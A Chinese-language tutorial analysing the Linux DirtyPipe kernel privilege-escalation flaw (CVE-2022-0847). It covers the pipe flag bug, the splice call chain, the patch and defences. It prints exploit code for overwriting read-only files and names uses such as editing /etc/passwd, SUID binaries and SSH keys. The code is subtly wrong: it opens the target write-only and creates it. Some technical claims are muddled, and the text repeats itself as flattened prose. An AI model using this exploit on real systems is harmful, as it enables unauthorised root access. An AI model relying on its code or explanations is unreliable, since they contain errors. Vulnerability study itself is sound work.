Linux提权CVE-2022-0847分析-DirtyPipe
字数 1347 2025-08-29 08:31:47

Linux提权漏洞CVE-2022-0847(DirtyPipe)深度分析与利用教学

1. 漏洞概述

CVE-2022-0847,又称"DirtyPipe",是Linux内核中的一个提权漏洞,影响5.8及以上版本的内核。该漏洞允许低权限用户向任意只读文件写入数据,从而可能实现权限提升。

漏洞类型:类型混淆漏洞(缓冲区标志未初始化)

影响范围:Linux内核5.8-5.16.11、5.15.25、5.10.102及更早版本

漏洞发现者:Max Kellermann

2. 漏洞原理深度解析

2.1 核心机制

该漏洞的核心在于Linux管道(pipe)机制中的缓冲区标志管理不当,具体涉及:

  1. PIPE_BUF_FLAG_CAN_MERGE标志:表示管道缓冲区可以合并写入
  2. 零拷贝机制:通过splice系统调用实现的高效数据传输
  3. 缓冲区重用时的标志未初始化:关键漏洞点

2.2 漏洞利用流程

  1. 准备阶段

    • 创建管道并填满缓冲区,设置PIPE_BUF_FLAG_CAN_MERGE标志
    • 读取并释放缓冲区,但保留标志
  2. 利用阶段

    • 使用splice进行零拷贝传输,重用带有PIPE_BUF_FLAG_CAN_MERGE标志的缓冲区
    • 通过write操作利用保留的标志实现越界写入

2.3 关键数据结构

struct pipe_buffer {
    struct page *page;
    unsigned int offset, len;
    const struct pipe_buf_operations *ops;
    unsigned int flags;
    unsigned long private;
};

其中flags字段是关键,PIPE_BUF_FLAG_CAN_MERGE标志(0x10)未被正确清除导致漏洞。

3. 漏洞利用详细分析

3.1 准备管道缓冲区

static void prepare_pipe(int p[2])
{
    if (pipe(p)) abort();
    
    const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
    static char buffer[4096];
    
    // 填满管道,设置PIPE_BUF_FLAG_CAN_MERGE标志
    for (unsigned r = pipe_size; r > 0;) {
        unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
        write(p[1], buffer, n);
        r -= n;
    }
    
    // 释放缓冲区但保留标志
    for (unsigned r = pipe_size; r > 0;) {
        unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
        read(p[0], buffer, n);
        r -= n;
    }
}

3.2 零拷贝传输(splice)

ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);

关键调用链

sys_splice -> __do_splice -> do_splice -> splice_file_to_pipe -> 
generic_file_splice_read -> call_read_iter -> copy_folio_to_iter -> 
copy_page_to_iter -> copy_page_to_iter_pipe

splice_file_to_pipe中的关键检查

if (off_in) {
    if (!(in->f_mode & FMODE_PREAD))
        return -EINVAL;
    offset = *off_in;
}

这解释了为什么利用时偏移量必须从1开始。

3.3 触发漏洞写入

nbytes = write(p[1], data, data_size);

pipe_write中的关键逻辑
当检测到PIPE_BUF_FLAG_CAN_MERGE标志时,直接调用copy_page_from_iter进行写入,绕过权限检查。

4. 完整利用代码分析

#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char **argv)
{
    if (argc != 4) {
        fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
        return EXIT_FAILURE;
    }
    
    // 准备管道
    int p[2];
    prepare_pipe(p);
    
    // 打开目标文件
    int fd = open(argv[1], O_WRONLY | O_CREAT, 0666);
    if (fd < 0) {
        perror("open failed");
        return EXIT_FAILURE;
    }
    
    // 计算偏移量
    unsigned long offset = strtoul(argv[2], NULL, 0);
    
    // 使用splice进行零拷贝传输
    ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
    if (nbytes < 0) {
        perror("splice failed");
        return EXIT_FAILURE;
    }
    
    // 触发漏洞写入
    nbytes = write(p[1], argv[3], strlen(argv[3]));
    if (nbytes < 0) {
        perror("write failed");
        return EXIT_FAILURE;
    }
    
    printf("It worked!\n");
    return EXIT_SUCCESS;
}

5. 漏洞防御与补丁分析

5.1 官方补丁

补丁主要修改了copy_page_to_iter_pipe函数,确保在重用缓冲区时正确初始化flags:

buf->flags = 0;

5.2 防御措施

  1. 及时更新内核到修复版本
  2. 限制低权限用户对敏感文件的访问
  3. 使用内核安全模块如SELinux进行额外保护

6. 漏洞利用限制

  1. 偏移量限制:必须从偏移量1开始写入
  2. 文件大小限制:写入不能超过原文件大小
  3. 权限要求:需要对目标文件有读权限

7. 实际利用场景

  1. 修改/etc/passwd:添加特权用户
  2. 修改SUID二进制文件:创建后门
  3. 修改SSH authorized_keys:添加攻击者公钥

8. 扩展思考

  1. 该漏洞展示了内核内存管理复杂性的安全挑战
  2. 零拷贝优化可能引入新的攻击面
  3. 标志位管理在内核安全中的重要性

9. 参考资源

  1. 官方漏洞公告和补丁
  2. Max Kellermann的原始漏洞报告
  3. Linux内核源码分析
  4. 相关安全研究论文

通过深入理解DirtyPipe漏洞,我们不仅能够掌握其利用方法,更能从中学习到内核安全的重要原则和防御思路。这种类型混淆漏洞在内核中并不罕见,分析此类漏洞有助于提高整体安全意识和防御能力。

Linux提权漏洞CVE-2022-0847(DirtyPipe)深度分析与利用教学 1. 漏洞概述 CVE-2022-0847,又称"DirtyPipe",是Linux内核中的一个提权漏洞,影响5.8及以上版本的内核。该漏洞允许低权限用户向任意只读文件写入数据,从而可能实现权限提升。 漏洞类型 :类型混淆漏洞(缓冲区标志未初始化) 影响范围 :Linux内核5.8-5.16.11、5.15.25、5.10.102及更早版本 漏洞发现者 :Max Kellermann 2. 漏洞原理深度解析 2.1 核心机制 该漏洞的核心在于Linux管道(pipe)机制中的缓冲区标志管理不当,具体涉及: PIPE_ BUF_ FLAG_ CAN_ MERGE标志 :表示管道缓冲区可以合并写入 零拷贝机制 :通过splice系统调用实现的高效数据传输 缓冲区重用时的标志未初始化 :关键漏洞点 2.2 漏洞利用流程 准备阶段 : 创建管道并填满缓冲区,设置PIPE_ BUF_ FLAG_ CAN_ MERGE标志 读取并释放缓冲区,但保留标志 利用阶段 : 使用splice进行零拷贝传输,重用带有PIPE_ BUF_ FLAG_ CAN_ MERGE标志的缓冲区 通过write操作利用保留的标志实现越界写入 2.3 关键数据结构 其中 flags 字段是关键,PIPE_ BUF_ FLAG_ CAN_ MERGE标志(0x10)未被正确清除导致漏洞。 3. 漏洞利用详细分析 3.1 准备管道缓冲区 3.2 零拷贝传输(splice) 关键调用链 : splice_ file_ to_ pipe中的关键检查 : 这解释了为什么利用时偏移量必须从1开始。 3.3 触发漏洞写入 pipe_ write中的关键逻辑 : 当检测到PIPE_ BUF_ FLAG_ CAN_ MERGE标志时,直接调用 copy_page_from_iter 进行写入,绕过权限检查。 4. 完整利用代码分析 5. 漏洞防御与补丁分析 5.1 官方补丁 补丁主要修改了 copy_page_to_iter_pipe 函数,确保在重用缓冲区时正确初始化flags: 5.2 防御措施 及时更新内核到修复版本 限制低权限用户对敏感文件的访问 使用内核安全模块如SELinux进行额外保护 6. 漏洞利用限制 偏移量限制 :必须从偏移量1开始写入 文件大小限制 :写入不能超过原文件大小 权限要求 :需要对目标文件有读权限 7. 实际利用场景 修改/etc/passwd :添加特权用户 修改SUID二进制文件 :创建后门 修改SSH authorized_ keys :添加攻击者公钥 8. 扩展思考 该漏洞展示了内核内存管理复杂性的安全挑战 零拷贝优化可能引入新的攻击面 标志位管理在内核安全中的重要性 9. 参考资源 官方漏洞公告和补丁 Max Kellermann的原始漏洞报告 Linux内核源码分析 相关安全研究论文 通过深入理解DirtyPipe漏洞,我们不仅能够掌握其利用方法,更能从中学习到内核安全的重要原则和防御思路。这种类型混淆漏洞在内核中并不罕见,分析此类漏洞有助于提高整体安全意识和防御能力。